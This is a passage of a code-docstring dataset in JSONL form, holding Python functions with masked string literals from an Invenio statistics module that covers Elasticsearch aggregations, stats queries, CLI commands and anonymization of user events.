isinstance(source, six.string_types):<EOL><INDENT>aggregation_data[destination] = doc[source]<EOL><DEDENT>else:<EOL><INDENT>aggregation_data[destination] = source(<EOL>doc,<EOL>aggregation_data<EOL>)<EOL><DEDENT><DEDENT>index_name = '<STR_LIT>'.format(self.event,<EOL>interval_date.strftime(<EOL>self.index_name_suffix))<EOL>self.indices.add(index_name)<EOL>yield dict(_id='<STR_LIT>'.<EOL>format(aggregation['<STR_LIT:key>'],<EOL>interval_date.strftime(<EOL>self.doc_id_suffix)),<EOL>_index=index_name,<EOL>_type=self.aggregation_doc_type,<EOL>_source=aggregation_data)<EOL><DEDENT><DEDENT>self.last_index_written = index_name<EOL>", "docstring": "Aggregate and return dictionary to be indexed in ES.", "id": "f10402:c0:m7"}
{"signature": "def run(self, start_date=None, end_date=None, update_bookmark=True):", "body": "<EOL>if not Index(self.event_index, using=self.client).exists():<EOL><INDENT>return<EOL><DEDENT>lower_limit = start_date or self.get_bookmark()<EOL>if lower_limit is None:<EOL><INDENT>return<EOL><DEDENT>upper_limit = min(<EOL>end_date or datetime.datetime.max,  <EOL>datetime.datetime.utcnow().replace(microsecond=<NUM_LIT:0>),<EOL>datetime.datetime.combine(<EOL>lower_limit + datetime.timedelta(self.batch_size),<EOL>datetime.datetime.min.time())<EOL>)<EOL>while upper_limit <= datetime.datetime.utcnow():<EOL><INDENT>self.indices = set()<EOL>self.new_bookmark = upper_limit.strftime(self.doc_id_suffix)<EOL>bulk(self.client,<EOL>self.agg_iter(lower_limit, upper_limit),<EOL>stats_only=True,<EOL>chunk_size=<NUM_LIT:50>)<EOL>current_search_client.indices.flush(<EOL>index='<STR_LIT:U+002C>'.join(self.indices),<EOL>wait_if_ongoing=True<EOL>)<EOL>if update_bookmark:<EOL><INDENT>self.set_bookmark()<EOL><DEDENT>self.indices = set()<EOL>lower_limit = lower_limit + datetime.timedelta(self.batch_size)<EOL>upper_limit = min(<EOL>end_date or datetime.datetime.max,  <EOL>datetime.datetime.utcnow().replace(microsecond=<NUM_LIT:0>),<EOL>lower_limit + datetime.timedelta(self.batch_size)<EOL>)<EOL>if lower_limit > upper_limit:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Calculate statistics aggregations.", "id": "f10402:c0:m8"}
{"signature": "def list_bookmarks(self, start_date=None, end_date=None, limit=None):", "body": "query = Search(<EOL>using=self.client,<EOL>index=self.aggregation_alias,<EOL>doc_type=self.bookmark_doc_type<EOL>).sort({'<STR_LIT:date>': {'<STR_LIT>': '<STR_LIT>'}})<EOL>range_args = {}<EOL>if start_date:<EOL><INDENT>range_args['<STR_LIT>'] = self._format_range_dt(<EOL>start_date.replace(microsecond=<NUM_LIT:0>))<EOL><DEDENT>if end_date:<EOL><INDENT>range_args['<STR_LIT>'] = self._format_range_dt(<EOL>end_date.replace(microsecond=<NUM_LIT:0>))<EOL><DEDENT>if range_args:<EOL><INDENT>query = query.filter('<STR_LIT>', date=range_args)<EOL><DEDENT>return query[<NUM_LIT:0>:limit].execute() if limit else query.scan()<EOL>", "docstring": "List the aggregation's bookmarks.", "id": "f10402:c0:m9"}
{"signature": "def delete(self, start_date=None, end_date=None):", "body": "aggs_query = Search(<EOL>using=self.client,<EOL>index=self.aggregation_alias,<EOL>doc_type=self.aggregation_doc_type<EOL>).extra(_source=False)<EOL>range_args = {}<EOL>if start_date:<EOL><INDENT>range_args['<STR_LIT>'] = self._format_range_dt(<EOL>start_date.replace(microsecond=<NUM_LIT:0>))<EOL><DEDENT>if end_date:<EOL><INDENT>range_args['<STR_LIT>'] = self._format_range_dt(<EOL>end_date.replace(microsecond=<NUM_LIT:0>))<EOL><DEDENT>if range_args:<EOL><INDENT>aggs_query = aggs_query.filter('<STR_LIT>', timestamp=range_args)<EOL><DEDENT>bookmarks_query = Search(<EOL>using=self.client,<EOL>index=self.aggregation_alias,<EOL>doc_type=self.bookmark_doc_type<EOL>).sort({'<STR_LIT:date>': {'<STR_LIT>': '<STR_LIT>'}})<EOL>if range_args:<EOL><INDENT>bookmarks_query = bookmarks_query.filter('<STR_LIT>', date=range_args)<EOL><DEDENT>def _delete_actions():<EOL><INDENT>for query in (aggs_query, bookmarks_query):<EOL><INDENT>affected_indices = set()<EOL>for doc in query.scan():<EOL><INDENT>affected_indices.add(doc.meta.index)<EOL>yield dict(_index=doc.meta.index,<EOL>_op_type='<STR_LIT>',<EOL>_id=doc.meta.id,<EOL>_type=doc.meta.doc_type)<EOL><DEDENT>current_search_client.indices.flush(<EOL>index='<STR_LIT:U+002C>'.join(affected_indices), wait_if_ongoing=True)<EOL><DEDENT><DEDENT>bulk(self.client, _delete_actions(), refresh=True)<EOL>", "docstring": "Delete aggregation documents.", "id": "f10402:c0:m10"}
{"signature": "def __init__(self, **kwargs):", "body": "super(StatsQueryResource, self).__init__(<EOL>serializers={<EOL>'<STR_LIT:application/json>':<EOL>lambda data, *args, **kwargs: jsonify(data),<EOL>},<EOL>default_method_media_type={<EOL>'<STR_LIT:GET>': '<STR_LIT:application/json>',<EOL>},<EOL>default_media_type='<STR_LIT:application/json>',<EOL>**kwargs)<EOL>", "docstring": "Constructor.", "id": "f10403:c0:m0"}
{"signature": "def post(self, **kwargs):", "body": "data = request.get_json(force=False)<EOL>if data is None:<EOL><INDENT>data = {}<EOL><DEDENT>result = {}<EOL>for query_name, config in data.items():<EOL><INDENT>if config is None or not isinstance(config, dict)or (set(config.keys()) != {'<STR_LIT>', '<STR_LIT>'} and<EOL>set(config.keys()) != {'<STR_LIT>'}):<EOL><INDENT>raise InvalidRequestInputError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>stat = config['<STR_LIT>']<EOL>params = config.get('<STR_LIT>', {})<EOL>try:<EOL><INDENT>query_cfg = current_stats.queries[stat]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise UnknownQueryError(stat)<EOL><DEDENT>permission = current_stats.permission_factory(stat, params)<EOL>if permission is not None and not permission.can():<EOL><INDENT>message = ('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(stat))<EOL>if current_user.is_authenticated:<EOL><INDENT>abort(<NUM_LIT>, message)<EOL><DEDENT>abort(<NUM_LIT>, message)<EOL><DEDENT>try:<EOL><INDENT>query = query_cfg.query_class(**query_cfg.query_config)<EOL>result[query_name] = query.run(**params)<EOL><DEDENT>except ValueError as e:<EOL><INDENT>raise InvalidRequestInputError(e.args[<NUM_LIT:0>])<EOL><DEDENT>except NotFoundError as e:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>return self.make_response(result)<EOL>", "docstring": "Get statistics.", "id": "f10403:c0:m1"}
{"signature": "def lazy_result(f):", "body": "@wraps(f)<EOL>def decorated(ctx, param, value):<EOL><INDENT>return LocalProxy(lambda: f(ctx, param, value))<EOL><DEDENT>return decorated<EOL>", "docstring": "Decorate function to return LazyProxy.", "id": "f10404:m0"}
{"signature": "@click.group()<EOL>def stats():", "body": "", "docstring": "Statistics commands.", "id": "f10404:m5"}
{"signature": "@stats.group()<EOL>def events():", "body": "", "docstring": "Event management commands.", "id": "f10404:m6"}
{"signature": "@events.command('<STR_LIT>')<EOL>@click.argument('<STR_LIT>', nargs=-<NUM_LIT:1>, callback=_validate_event_type)<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True)<EOL>@with_appcontext<EOL>def _events_process(event_types=None, eager=False):", "body": "event_types = event_types or list(current_stats.enabled_events)<EOL>if eager:<EOL><INDENT>process_events.apply((event_types,), throw=True)<EOL>click.secho('<STR_LIT>', fg='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>process_events.delay(event_types)<EOL>click.secho('<STR_LIT>', fg='<STR_LIT>')<EOL><DEDENT>", "docstring": "Process stats events.", "id": "f10404:m7"}
{"signature": "@stats.group()<EOL>def aggregations():", "body": "", "docstring": "Aggregation management commands.", "id": "f10404:m8"}
{"signature": "@aggregations.command('<STR_LIT>')<EOL>@aggr_arg<EOL>@click.option('<STR_LIT>', callback=_verify_date)<EOL>@click.option('<STR_LIT>', callback=_verify_date)<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True)<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True)<EOL>@with_appcontext<EOL>def _aggregations_process(aggregation_types=None,<EOL>start_date=None, end_date=None,<EOL>update_bookmark=False, eager=False):", "body": "aggregation_types = (aggregation_types or<EOL>list(current_stats.enabled_aggregations))<EOL>if eager:<EOL><INDENT>aggregate_events.apply(<EOL>(aggregation_types,),<EOL>dict(start_date=start_date, end_date=end_date,<EOL>update_bookmark=update_bookmark),<EOL>throw=True)<EOL>click.secho('<STR_LIT>', fg='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>aggregate_events.delay(<EOL>aggregation_types, start_date=start_date, end_date=end_date)<EOL>click.secho('<STR_LIT>', fg='<STR_LIT>')<EOL><DEDENT>", "docstring": "Process stats aggregations.", "id": "f10404:m9"}
{"signature": "@aggregations.command('<STR_LIT>')<EOL>@aggr_arg<EOL>@click.option('<STR_LIT>', callback=_parse_date)<EOL>@click.option('<STR_LIT>', callback=_parse_date)<EOL>@click.confirmation_option(<EOL>prompt='<STR_LIT>')<EOL>@with_appcontext<EOL>def _aggregations_delete(aggregation_types=None,<EOL>start_date=None, end_date=None):", "body": "aggregation_types = (aggregation_types or<EOL>list(current_stats.enabled_aggregations))<EOL>for a in aggregation_types:<EOL><INDENT>aggr_cfg = current_stats.aggregations[a]<EOL>aggregator = aggr_cfg.aggregator_class(<EOL>name=aggr_cfg.name, **aggr_cfg.aggregator_config)<EOL>aggregator.delete(start_date, end_date)<EOL><DEDENT>", "docstring": "Delete computed aggregations.", "id": "f10404:m10"}
{"signature": "@aggregations.command('<STR_LIT>')<EOL>@aggr_arg<EOL>@click.option('<STR_LIT>', callback=_parse_date)<EOL>@click.option('<STR_LIT>', callback=_parse_date)<EOL>@click.option('<STR_LIT>', '<STR_LIT>', default=<NUM_LIT:5>)<EOL>@with_appcontext<EOL>def _aggregations_list_bookmarks(aggregation_types=None,<EOL>start_date=None, end_date=None, limit=None):", "body": "aggregation_types = (aggregation_types or<EOL>list(current_stats.enabled_aggregations))<EOL>for a in aggregation_types:<EOL><INDENT>aggr_cfg = current_stats.aggregations[a]<EOL>aggregator = aggr_cfg.aggregator_class(<EOL>name=aggr_cfg.name, **aggr_cfg.aggregator_config)<EOL>bookmarks = aggregator.list_bookmarks(start_date, end_date, limit)<EOL>click.echo('<STR_LIT>'.format(a))<EOL>for b in bookmarks:<EOL><INDENT>click.echo('<STR_LIT>'.format(b.date))<EOL><DEDENT><DEDENT>", "docstring": "List aggregation bookmarks.", "id": "f10404:m11"}
{"signature": "@cached_property<EOL><INDENT>def _events_config(self):<DEDENT>", "body": "<EOL>result = {}<EOL>for ep in iter_entry_points(<EOL>group=self.entry_point_group_events):<EOL><INDENT>for cfg in ep.load()():<EOL><INDENT>if cfg['<STR_LIT>'] not in self.enabled_events:<EOL><INDENT>continue<EOL><DEDENT>elif cfg['<STR_LIT>'] in result:<EOL><INDENT>raise DuplicateEventError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(cfg['<STR_LIT>'], ep.name))<EOL><DEDENT>cfg.update(<EOL>self.enabled_events[cfg['<STR_LIT>']] or {}<EOL>)<EOL>result[cfg['<STR_LIT>']] = cfg<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Load events configuration.", "id": "f10405:c0:m1"}
{"signature": "@cached_property<EOL><INDENT>def _aggregations_config(self):<DEDENT>", "body": "result = {}<EOL>for ep in iter_entry_points(<EOL>group=self.entry_point_group_aggs):<EOL><INDENT>for cfg in ep.load()():<EOL><INDENT>if cfg['<STR_LIT>'] not in self.enabled_aggregations:<EOL><INDENT>continue<EOL><DEDENT>elif cfg['<STR_LIT>'] in result:<EOL><INDENT>raise DuplicateAggregationError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(cfg['<STR_LIT>'], ep.name))<EOL><DEDENT>cfg.update(<EOL>self.enabled_aggregations[cfg['<STR_LIT>']] or {}<EOL>)<EOL>result[cfg['<STR_LIT>']] = cfg<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Load aggregation configurations.", "id": "f10405:c0:m3"}
{"signature": "@cached_property<EOL><INDENT>def _queries_config(self):<DEDENT>", "body": "result = {}<EOL>for ep in iter_entry_points(group=self.entry_point_group_queries):<EOL><INDENT>for cfg in ep.load()():<EOL><INDENT>if cfg['<STR_LIT>'] not in self.enabled_queries:<EOL><INDENT>continue<EOL><DEDENT>elif cfg['<STR_LIT>'] in result:<EOL><INDENT>raise DuplicateQueryError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(cfg['<STR_LIT>'], ep.name))<EOL><DEDENT>cfg.update(<EOL>self.enabled_queries[cfg['<STR_LIT>']] or {}<EOL>)<EOL>result[cfg['<STR_LIT>']] = cfg<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Load queries configuration.", "id": "f10405:c0:m5"}
{"signature": "@cached_property<EOL><INDENT>def permission_factory(self):<DEDENT>", "body": "return load_or_import_from_config(<EOL>'<STR_LIT>', app=self.app<EOL>)<EOL>", "docstring": "Load default permission factory for Buckets collections.", "id": "f10405:c0:m7"}
{"signature": "def publish(self, event_type, events):", "body": "assert event_type in self.events<EOL>current_queues.queues['<STR_LIT>'.format(event_type)].publish(events)<EOL>", "docstring": "Publish events.", "id": "f10405:c0:m8"}
{"signature": "def consume(self, event_type, no_ack=True, payload=True):", "body": "assert event_type in self.events<EOL>return current_queues.queues['<STR_LIT>'.format(event_type)].consume(<EOL>payload=payload)<EOL>", "docstring": "Comsume all pending events.", "id": "f10405:c0:m9"}
{"signature": "def __init__(self, app=None, **kwargs):", "body": "if app:<EOL><INDENT>self.init_app(app, **kwargs)<EOL><DEDENT>", "docstring": "Extension initialization.", "id": "f10405:c1:m0"}
{"signature": "def init_app(self, app,<EOL>entry_point_group_events='<STR_LIT>',<EOL>entry_point_group_aggs='<STR_LIT>',<EOL>entry_point_group_queries='<STR_LIT>'):", "body": "self.init_config(app)<EOL>state = _InvenioStatsState(<EOL>app,<EOL>entry_point_group_events=entry_point_group_events,<EOL>entry_point_group_aggs=entry_point_group_aggs,<EOL>entry_point_group_queries=entry_point_group_queries<EOL>)<EOL>self._state = app.extensions['<STR_LIT>'] = state<EOL>if app.config['<STR_LIT>']:<EOL><INDENT>signal_receivers = {key: value for key, value in<EOL>app.config.get('<STR_LIT>', {}).items()<EOL>if '<STR_LIT>' in value}<EOL>register_receivers(app, signal_receivers)<EOL><DEDENT>return state<EOL>", "docstring": "Flask application initialization.", "id": "f10405:c1:m1"}
{"signature": "def init_config(self, app):", "body": "for k in dir(config):<EOL><INDENT>if k.startswith('<STR_LIT>'):<EOL><INDENT>app.config.setdefault(k, getattr(config, k))<EOL><DEDENT><DEDENT>", "docstring": "Initialize configuration.", "id": "f10405:c1:m2"}
{"signature": "def __getattr__(self, name):", "body": "return getattr(self._state, name, None)<EOL>", "docstring": "Proxy to state object.", "id": "f10405:c1:m3"}
{"signature": "def __init__(self, query_name, doc_type, index, client=None,<EOL>*args, **kwargs):", "body": "super(ESQuery, self).__init__()<EOL>self.index = index<EOL>self.client = client or current_search_client<EOL>self.query_name = query_name<EOL>self.doc_type = doc_type<EOL>", "docstring": "Constructor.\n\n        :param doc_type: queried document type.\n        :param index: queried index.\n        :param client: elasticsearch client used to query.", "id": "f10407:c0:m0"}
{"signature": "def extract_date(self, date):", "body": "if isinstance(date, six.string_types):<EOL><INDENT>try:<EOL><INDENT>date = dateutil.parser.parse(date)<EOL><DEDENT>except ValueError:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>).format(self.query_name)<EOL><DEDENT><DEDENT>if not isinstance(date, datetime):<EOL><INDENT>raise TypeError(<EOL>'<STR_LIT>'<EOL>).format(self.query_name)<EOL><DEDENT>return date<EOL>", "docstring": "Extract date from string if necessary.\n\n        :returns: the extracted date.", "id": "f10407:c0:m1"}
{"signature": "def run(self, *args, **kwargs):", "body": "raise NotImplementedError()<EOL>", "docstring": "Run the query.", "id": "f10407:c0:m2"}
{"signature": "def __init__(self, time_field='<STR_LIT>', copy_fields=None,<EOL>query_modifiers=None, required_filters=None,<EOL>metric_fields=None, *args, **kwargs):", "body": "super(ESDateHistogramQuery, self).__init__(*args, **kwargs)<EOL>self.time_field = time_field<EOL>self.copy_fields = copy_fields or {}<EOL>self.query_modifiers = query_modifiers or []<EOL>self.required_filters = required_filters or {}<EOL>self.metric_fields = metric_fields or {'<STR_LIT:value>': ('<STR_LIT>', '<STR_LIT:count>', {})}<EOL>self.allowed_metrics = {<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}<EOL>if any(v not in self.allowed_metrics<EOL>for k, (v, _, _) in (self.metric_fields or {}).items()):<EOL><INDENT>raise(ValueError('<STR_LIT>'<EOL>.format('<STR_LIT:U+002CU+0020>'.join(self.allowed_metrics))))<EOL><DEDENT>", "docstring": "Constructor.\n\n        :param time_field: name of the timestamp field.\n        :param copy_fields: list of fields to copy from the top hit document\n            into the resulting aggregation.\n        :param query_modifiers: List of functions accepting a ``query`` and\n            ``**kwargs`` (same as provided to the ``run`` method), that will\n            be applied to the aggregation query.\n        :param required_filters: Dict of \"mandatory query parameter\" ->\n            \"filtered field\".\n        :param metric_fields: Dict of \"destination field\" ->\n            tuple(\"metric type\", \"source field\", \"metric_options\").", "id": "f10407:c1:m0"}
{"signature": "def validate_arguments(self, interval, start_date, end_date, **kwargs):", "body": "if interval not in self.allowed_intervals:<EOL><INDENT>raise InvalidRequestInputError(<EOL>'<STR_LIT>'<EOL>).format(self.query_name)<EOL><DEDENT>if set(kwargs) < set(self.required_filters):<EOL><INDENT>raise InvalidRequestInputError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(set(self.required_filters.keys()),<EOL>self.query_name)<EOL>)<EOL><DEDENT>", "docstring": "Validate query arguments.", "id": "f10407:c1:m1"}
{"signature": "def build_query(self, interval, start_date, end_date, **kwargs):", "body": "agg_query = Search(using=self.client,<EOL>index=self.index,<EOL>doc_type=self.doc_type)[<NUM_LIT:0>:<NUM_LIT:0>]<EOL>if start_date is not None or end_date is not None:<EOL><INDENT>time_range = {}<EOL>if start_date is not None:<EOL><INDENT>time_range['<STR_LIT>'] = start_date.isoformat()<EOL><DEDENT>if end_date is not None:<EOL><INDENT>time_range['<STR_LIT>'] = end_date.isoformat()<EOL><DEDENT>agg_query = agg_query.filter(<EOL>'<STR_LIT>',<EOL>**{self.time_field: time_range})<EOL><DEDENT>for modifier in self.query_modifiers:<EOL><INDENT>agg_query = modifier(agg_query, **kwargs)<EOL><DEDENT>base_agg = agg_query.aggs.bucket(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>field=self.time_field,<EOL>interval=interval<EOL>)<EOL>for destination, (metric, field, opts) in self.metric_fields.items():<EOL><INDENT>base_agg.metric(destination, metric, field=field, **opts)<EOL><DEDENT>if self.copy_fields:<EOL><INDENT>base_agg.metric(<EOL>'<STR_LIT>', '<STR_LIT>', size=<NUM_LIT:1>, sort={'<STR_LIT>': '<STR_LIT>'}<EOL>)<EOL><DEDENT>for query_param, filtered_field in self.required_filters.items():<EOL><INDENT>if query_param in kwargs:<EOL><INDENT>agg_query = agg_query.filter(<EOL>'<STR_LIT>', **{filtered_field: kwargs[query_param]}<EOL>)<EOL><DEDENT><DEDENT>return agg_query<EOL>", "docstring": "Build the elasticsearch query.", "id": "f10407:c1:m2"}
{"signature": "def process_query_result(self, query_result, interval,<EOL>start_date, end_date):", "body": "def build_buckets(agg):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>bucket_result = dict(<EOL>key=agg['<STR_LIT:key>'],<EOL>date=agg['<STR_LIT>'],<EOL>)<EOL>for metric in self.metric_fields:<EOL><INDENT>bucket_result[metric] = agg[metric]['<STR_LIT:value>']<EOL><DEDENT>if self.copy_fields and agg['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>doc = agg['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>for destination, source in self.copy_fields.items():<EOL><INDENT>if isinstance(source, six.string_types):<EOL><INDENT>bucket_result[destination] = doc[source]<EOL><DEDENT>else:<EOL><INDENT>bucket_result[destination] = source(bucket_result, doc)<EOL><DEDENT><DEDENT><DEDENT>return bucket_result<EOL><DEDENT>buckets = query_result['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']<EOL>return dict(<EOL>interval=interval,<EOL>key_type='<STR_LIT:date>',<EOL>start_date=start_date.isoformat() if start_date else None,<EOL>end_date=end_date.isoformat() if end_date else None,<EOL>buckets=[build_buckets(b) for b in buckets]<EOL>)<EOL>", "docstring": "Build the result using the query result.", "id": "f10407:c1:m3"}
{"signature": "def run(self, interval='<STR_LIT>', start_date=None,<EOL>end_date=None, **kwargs):", "body": "start_date = self.extract_date(start_date) if start_date else None<EOL>end_date = self.extract_date(end_date) if end_date else None<EOL>self.validate_arguments(interval, start_date, end_date, **kwargs)<EOL>agg_query = self.build_query(interval, start_date,<EOL>end_date, **kwargs)<EOL>query_result = agg_query.execute().to_dict()<EOL>res = self.process_query_result(query_result, interval,<EOL>start_date, end_date)<EOL>return res<EOL>", "docstring": "Run the query.", "id": "f10407:c1:m4"}
{"signature": "def __init__(self, time_field='<STR_LIT>', copy_fields=None,<EOL>query_modifiers=None, required_filters=None,<EOL>aggregated_fields=None, metric_fields=None, *args, **kwargs):", "body": "super(ESTermsQuery, self).__init__(*args, **kwargs)<EOL>self.time_field = time_field<EOL>self.copy_fields = copy_fields or {}<EOL>self.query_modifiers = query_modifiers or []<EOL>self.required_filters = required_filters or {}<EOL>self.aggregated_fields = aggregated_fields or []<EOL>self.metric_fields = metric_fields or {'<STR_LIT:value>': ('<STR_LIT>', '<STR_LIT:count>', {})}<EOL>", "docstring": "Constructor.\n\n        :param time_field: name of the timestamp field.\n        :param copy_fields: list of fields to copy from the top hit document\n            into the resulting aggregation.\n        :param query_modifiers: List of functions accepting a ``query`` and\n            ``**kwargs`` (same as provided to the ``run`` method), that will\n            be applied to the aggregation query.\n        :param required_filters: Dict of \"mandatory query parameter\" ->\n            \"filtered field\".\n        :param aggregated_fields: List of fields which will be used in the\n            terms aggregations.\n        :param metric_fields: Dict of \"destination field\" ->\n            tuple(\"metric type\", \"source field\").", "id": "f10407:c2:m0"}
{"signature": "def validate_arguments(self, start_date, end_date, **kwargs):", "body": "if set(kwargs) < set(self.required_filters):<EOL><INDENT>raise InvalidRequestInputError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(set(self.required_filters.keys()),<EOL>self.query_name)<EOL>)<EOL><DEDENT>", "docstring": "Validate query arguments.", "id": "f10407:c2:m1"}
{"signature": "def build_query(self, start_date, end_date, **kwargs):", "body": "agg_query = Search(using=self.client,<EOL>index=self.index,<EOL>doc_type=self.doc_type)[<NUM_LIT:0>:<NUM_LIT:0>]<EOL>if start_date is not None or end_date is not None:<EOL><INDENT>time_range = {}<EOL>if start_date is not None:<EOL><INDENT>time_range['<STR_LIT>'] = start_date.isoformat()<EOL><DEDENT>if end_date is not None:<EOL><INDENT>time_range['<STR_LIT>'] = end_date.isoformat()<EOL><DEDENT>agg_query = agg_query.filter(<EOL>'<STR_LIT>',<EOL>**{self.time_field: time_range})<EOL><DEDENT>for modifier in self.query_modifiers:<EOL><INDENT>agg_query = modifier(agg_query, **kwargs)<EOL><DEDENT>base_agg = agg_query.aggs<EOL>def _apply_metric_aggs(agg):<EOL><INDENT>for dst, (metric, field, opts) in self.metric_fields.items():<EOL><INDENT>agg.metric(dst, metric, field=field, **opts)<EOL><DEDENT><DEDENT>_apply_metric_aggs(base_agg)<EOL>if self.aggregated_fields:<EOL><INDENT>cur_agg = base_agg<EOL>for term in self.aggregated_fields:<EOL><INDENT>cur_agg = cur_agg.bucket(term, '<STR_LIT>', field=term, size=<NUM_LIT:0>)<EOL>_apply_metric_aggs(cur_agg)<EOL><DEDENT><DEDENT>if self.copy_fields:<EOL><INDENT>base_agg.metric(<EOL>'<STR_LIT>', '<STR_LIT>', size=<NUM_LIT:1>, sort={'<STR_LIT>': '<STR_LIT>'}<EOL>)<EOL><DEDENT>for query_param, filtered_field in self.required_filters.items():<EOL><INDENT>if query_param in kwargs:<EOL><INDENT>agg_query = agg_query.filter(<EOL>'<STR_LIT>', **{filtered_field: kwargs[query_param]}<EOL>)<EOL><DEDENT><DEDENT>return agg_query<EOL>", "docstring": "Build the elasticsearch query.", "id": "f10407:c2:m2"}
{"signature": "def process_query_result(self, query_result, start_date, end_date):", "body": "def build_buckets(agg, fields, bucket_result):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>for metric in self.metric_fields:<EOL><INDENT>bucket_result[metric] = agg[metric]['<STR_LIT:value>']<EOL><DEDENT>if fields:<EOL><INDENT>current_level = fields[<NUM_LIT:0>]<EOL>bucket_result.update(dict(<EOL>type='<STR_LIT>',<EOL>field=current_level,<EOL>key_type='<STR_LIT>',<EOL>buckets=[build_buckets(b, fields[<NUM_LIT:1>:], dict(key=b['<STR_LIT:key>']))<EOL>for b in agg[current_level]['<STR_LIT>']]<EOL>))<EOL><DEDENT>return bucket_result<EOL><DEDENT>aggs = query_result['<STR_LIT>']<EOL>result = dict(<EOL>start_date=start_date.isoformat() if start_date else None,<EOL>end_date=end_date.isoformat() if end_date else None,<EOL>)<EOL>if self.copy_fields and aggs['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>doc = aggs['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>for destination, source in self.copy_fields.items():<EOL><INDENT>if isinstance(source, six.string_types):<EOL><INDENT>result[destination] = doc[source]<EOL><DEDENT>else:<EOL><INDENT>result[destination] = source(result, doc)<EOL><DEDENT><DEDENT><DEDENT>return build_buckets(aggs, self.aggregated_fields, result)<EOL>", "docstring": "Build the result using the query result.", "id": "f10407:c2:m3"}
{"signature": "def run(self, start_date=None, end_date=None, **kwargs):", "body": "start_date = self.extract_date(start_date) if start_date else None<EOL>end_date = self.extract_date(end_date) if end_date else None<EOL>self.validate_arguments(start_date, end_date, **kwargs)<EOL>agg_query = self.build_query(start_date, end_date, **kwargs)<EOL>query_result = agg_query.execute().to_dict()<EOL>res = self.process_query_result(query_result, start_date, end_date)<EOL>return res<EOL>", "docstring": "Run the query.", "id": "f10407:c2:m4"}
{"signature": "def anonymize_user(doc):", "body": "ip = doc.pop('<STR_LIT>', None)<EOL>if ip:<EOL><INDENT>doc.update({'<STR_LIT>': get_geoip(ip)})<EOL><DEDENT>user_id = doc.pop('<STR_LIT>', '<STR_LIT>')<EOL>session_id = doc.pop('<STR_LIT>', '<STR_LIT>')<EOL>user_agent = doc.pop('<STR_LIT>', '<STR_LIT>')<EOL>timestamp = arrow.get(doc.get('<STR_LIT>'))<EOL>timeslice = timestamp.strftime('<STR_LIT>')<EOL>salt = get_anonymization_salt(timestamp)<EOL>visitor_id = hashlib.sha224(salt.encode('<STR_LIT:utf-8>'))<EOL>if user_id:<EOL><INDENT>visitor_id.update(user_id.encode('<STR_LIT:utf-8>'))<EOL><DEDENT>elif session_id:<EOL><INDENT>visitor_id.update(session_id.encode('<STR_LIT:utf-8>'))<EOL><DEDENT>elif ip and user_agent:<EOL><INDENT>vid = '<STR_LIT>'.format(ip, user_agent, timeslice)<EOL>visitor_id.update(vid.encode('<STR_LIT:utf-8>'))<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>unique_session_id = hashlib.sha224(salt.encode('<STR_LIT:utf-8>'))<EOL>if user_id:<EOL><INDENT>sid = '<STR_LIT>'.format(user_id, timeslice)<EOL>unique_session_id.update(sid.encode('<STR_LIT:utf-8>'))<EOL><DEDENT>elif session_id:<EOL><INDENT>sid = '<STR_LIT>'.format(session_id, timeslice)<EOL>unique_session_id.update(sid.encode('<STR_LIT:utf-8>'))<EOL><DEDENT>elif ip and user_agent:<EOL><INDENT>sid = '<STR_LIT>'.format(ip, user_agent, timeslice)<EOL>unique_session_id.update(sid.encode('<STR_LIT:utf-8>'))<EOL><DEDENT>doc.update(dict(<EOL>visitor_id=visitor_id.hexdigest(),<EOL>unique_session_id=unique_session_id.hexdigest()<EOL>))<EOL>return doc<EOL>", "docstring": "Preprocess an event by anonymizing user information.\n\n    The anonymization is done by removing fields that can uniquely identify a\n    user, such as the user's ID, session ID, IP address and User Agent, and\n    hashing them to produce a ``visitor_id`` and ``unique_session_id``. To\n    further secure the method, a randomly generated 32-byte salt is used, that\n    expires after 24 hours and is discarded. The salt values are stored in\n    Redis (or whichever backend Invenio-Cache uses). The ``unique_session_id``\n    is calculated in the same way as the ``visitor_id``, with the only\n    difference that it also takes into account the hour of the event . All of\n    these rules effectively mean that a user can have a unique ``visitor_id``\n    for each day and unique ``unique_session_id`` for each hour of a day.\n\n    This session ID generation process was designed according to the `Project\n    COUNTER Code of Practice <https://www.projectcounter.org/code-of-\n    practice-sections/general-information/>`_.\n\n    In addition to that the country of the user is extracted from the IP\n    address as a ISO 3166-1 alpha-2 two-letter country code (e.g. \"CH\" for\n    Switzerland).", "id": "f10409:m0"}
